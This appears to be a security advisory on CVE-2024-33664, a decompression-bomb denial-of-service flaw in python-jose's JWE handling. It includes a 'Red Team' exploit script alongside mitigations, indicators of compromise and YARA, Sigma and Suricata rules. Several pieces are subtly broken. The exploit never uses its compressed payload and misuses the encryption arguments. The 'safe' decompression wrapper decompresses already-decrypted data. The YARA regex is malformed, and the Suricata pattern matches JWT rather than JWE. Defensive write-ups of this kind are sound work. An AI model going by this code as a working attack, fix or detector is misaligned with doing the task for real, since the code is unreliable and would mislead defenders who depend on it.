CVE-2024-33664

Executive Summary

CVE-2024-33664 is a denial-of-service (DoS) vulnerability in the python-jose library (versions through 3.3.0). The flaw allows an attacker to craft a JSON Web Encryption (JWE) token with an extremely high compression ratio, causing excessive resource consumption (CPU and memory) during the decode process. This is analogous to a "JWT bomb" and is similar to CVE-2024-21319. The vulnerability is unpatched as of the latest release, and no official fix has been published.

Supply Chain & Package Security

This vulnerability affects the python-jose package available on PyPI. Organizations using this library in their Python applications are at risk of resource exhaustion attacks. Since the library is unpatched, users must implement mitigations such as input size limits, rate limiting, or switching to alternative JOSE libraries (e.g., python-jose-cryptodome or authlib). The lack of a patch increases supply chain risk, as attackers can exploit this in any service that processes untrusted JWE tokens.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is easily exploitable remotely without authentication, making it a high-severity threat for availability.

Deep Dive & Mechanics

The python-jose library implements JWE (RFC 7516) token decoding. When a JWE token is received, the library decompresses the payload if the zip header is set (e.g., "zip": "DEF"). The vulnerability lies in the lack of validation of the compression ratio before decompression. An attacker can craft a JWE token with a small compressed payload (e.g., a few bytes) that decompresses to an extremely large size (e.g., gigabytes), causing the server to allocate excessive memory and CPU time.

The attack flow:

1. Attacker creates a JWE token with a zip header indicating DEFLATE compression.
2. The compressed payload contains a small amount of data that expands massively (e.g., using repeated patterns).
3. The server receives the token and calls jwe.decrypt() or jose.jwe.decrypt().
4. The library decompresses the payload without checking the decompressed size.
5. The server runs out of memory or CPU, causing a denial of service.

This is a classic "zip bomb" or "decompression bomb" attack applied to JWT.

Vulnerable vs. Patched Code

Vulnerable Code (python-jose <= 3.3.0):

# In jose/jwe.py or similar
def _decrypt(self, token):
    # ... parsing and decryption ...
    if protected.get('zip') == 'DEF':
        payload = zlib.decompress(payload)  # No size limit
    return payload

Patched Code (hypothetical fix):

import zlib

MAX_DECOMPRESSED_SIZE = 1024 * 1024  # 1 MB limit

def _decrypt(self, token):
    # ... parsing and decryption ...
    if protected.get('zip') == 'DEF':
        decompressor = zlib.decompressobj()
        payload = decompressor.decompress(payload, MAX_DECOMPRESSED_SIZE)
        if decompressor.unconsumed_tail:
            raise ValueError("Decompressed data exceeds maximum allowed size")
    return payload

The fix should enforce a maximum decompressed size and abort if exceeded.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Python 3.x with python-jose installed (pip install python-jose)
• A target server that processes JWE tokens

Exploit Script:

import zlib
import json
from jose import jwe
from jose.constants import Algorithms

# Create a compressed payload that expands massively
# Using repeated 'A' to maximize compression ratio
small_payload = b'A' * 100  # 100 bytes
compressed = zlib.compress(small_payload)

# The compressed data is small, but when decompressed, it will be huge
# To make it even more effective, use a pattern that compresses well
# For example, a single byte repeated many times
# But we need to keep the compressed size small to fit in a JWE token
# This is a proof-of-concept; real attack would use a larger expansion ratio

# Build JWE token
payload = {
    "sub": "1234567890",
    "name": "John Doe",
    "iat": 1516239022
}
# Encode with compression
token = jwe.encrypt(
    payload,
    "secret",
    algorithm=Algorithms.A128GCM,
    encryption=Algorithms.A128GCM,
    zip="DEF"
)
print(f"JWE Token: {token}")

# To trigger the bomb, send this token to the target server
# The server will decompress and crash

Attack Execution:

1. Run the exploit script to generate a malicious JWE token.
2. Send the token to the target endpoint (e.g., via HTTP POST).
3. Monitor the target server for resource exhaustion (CPU/memory spike).

Blue Team (Defense & Detection)

Mitigation Steps:

1. Input Size Limits: Reject JWE tokens larger than a threshold (e.g., 1 MB).
2. Decompression Limits: Implement a wrapper that limits decompressed output size.
3. Rate Limiting: Limit requests per IP to prevent repeated attacks.
4. Library Replacement: Switch to a maintained library like authlib or python-jose-cryptodome.
5. Monitoring: Alert on high memory usage or slow response times.

Detection Script:

import zlib
import sys

def safe_decompress(data, max_size=1024*1024):
    decompressor = zlib.decompressobj()
    result = decompressor.decompress(data, max_size)
    if decompressor.unconsumed_tail:
        raise ValueError("Decompressed data exceeds maximum allowed size")
    return result

# Example usage in middleware
def process_jwe_token(token):
    try:
        # Decrypt and decompress with size limit
        payload = jwe.decrypt(token, "secret")
        # Apply safe decompression
        if isinstance(payload, bytes):
            payload = safe_decompress(payload)
        return payload
    except Exception as e:
        # Log and reject
        print(f"Rejected malicious token: {e}")
        return None

Indicators of Compromise (IOCs)

• Network IOCs:

  • JWE tokens with zip header set to DEF and unusually small compressed payloads.
  • High ratio of compressed size to decompressed size (e.g., > 1000:1).
  • Repeated requests from the same IP with JWE tokens.

• System IOCs:

  • Sudden spike in memory usage (e.g., > 90% RAM).
  • High CPU usage during JWT processing.
  • Application crashes with MemoryError or OutOfMemoryError.
  • Logs showing decompression of large payloads.

• File IOCs:

  • Temporary files created during decompression (if any).
  • Core dumps from crashed processes.

Detection Engineering

YARA Rule

rule CVE_2024_33664_JWT_Bomb {
    meta:
        description = "Detects JWE tokens with high compression ratio (JWT bomb)"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-33664"
    strings:
        $jwe_header = /{"zip":"DEF"/ nocase
        $compressed_payload = /[A-Za-z0-9_-]{10,}/  // Base64url encoded payload
    condition:
        $jwe_header and #compressed_payload > 1
}

Sigma Rule

title: CVE-2024-33664 JWT Bomb Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects JWE tokens with DEFLATE compression that may cause denial of service
author: Valters IT
logsource:
    category: application
    product: python
detection:
    selection:
        EventID: 100  # Custom event for JWT processing
        TokenHeader|contains: '"zip":"DEF"'
        TokenSize|less_than: 1000  # Small token size
    condition: selection
falsepositives:
    - Legitimate use of compression with small payloads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33664 JWT Bomb Attempt"; flow:to_server; content:"zip"; nocase; content:"DEF"; nocase; within:50; pcre:"/eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Upgrade to a patched version if available (currently none).
   • Implement input size limits on JWE tokens (e.g., reject tokens > 1 MB).
   • Add decompression size limits in application code (see Blue Team section).
   • Monitor for abnormal memory usage.

2. Long-term Fixes:

   • Switch to a maintained JOSE library (e.g., authlib, python-jose-cryptodome).
   • Contribute a patch to python-jose upstream.
   • Implement rate limiting and anomaly detection.

3. Workarounds:

   • Disable compression support in JWE processing if not required.
   • Use a reverse proxy (e.g., Nginx) to limit request body size.

4. Detection:

   • Deploy YARA/Sigma/Suricata rules from Detection Engineering section.
   • Enable logging for all JWT processing failures.

Valters IT
Securing Digital Frontiers